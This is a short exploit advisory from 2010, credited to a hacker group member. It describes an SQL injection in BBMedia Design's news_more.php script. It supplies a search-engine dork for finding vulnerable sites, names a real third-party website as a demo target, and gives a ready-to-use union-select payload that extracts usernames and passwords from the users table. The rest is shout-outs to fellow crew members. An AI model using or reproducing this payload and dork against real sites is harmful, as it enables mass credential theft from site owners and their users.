38 lines
No EOL
1.2 KiB
Text
38 lines
No EOL
1.2 KiB
Text
#################################################################################################
|
|
|
|
[+] BBMedia Design's (news_more.php) SQL Injection Vulnerability
|
|
|
|
[+] Discovered By gendenk
|
|
|
|
[+] Published: 2010-05-23 Pukul 19.00 WIB
|
|
|
|
[+] jatimcrew.org/
|
|
|
|
##################################################################################################
|
|
|
|
# Script Homepage:
|
|
# http://www.bbmedia.org
|
|
|
|
[+]Dork: intext:"Design by BB Media.Org"
|
|
|
|
[+] SQL Injection
|
|
|
|
|
|
demo : http://www.ms-hydraulic.com/news_more.php?id=15
|
|
|
|
|
|
http://[target]/[path]/news_more.php?id=[SQL]
|
|
|
|
http://[target]/[path]/news_more.php?id=-9999+union+all+select+1,2,concat(id,0x3a,user,0x3a,pass),4,5,6,7,8+from+users/*
|
|
|
|
##################################################################################################
|
|
|
|
Life is challanging, the fear of challanges, causing you for backwardness..Facing for the bright future..
|
|
|
|
#Thanks to : Cyberlog, Cr4wl3r, Byz9991 and MAMA Sri Rahayu [ istri cyberlog ] Semoga Cepet Sembuh..
|
|
|
|
Buat Yayank Ucrit I Love U Full :P
|
|
|
|
|
|
All Member Jatimcrew, Manadocoding, Sekuritionline..
|
|
################################################################################################## |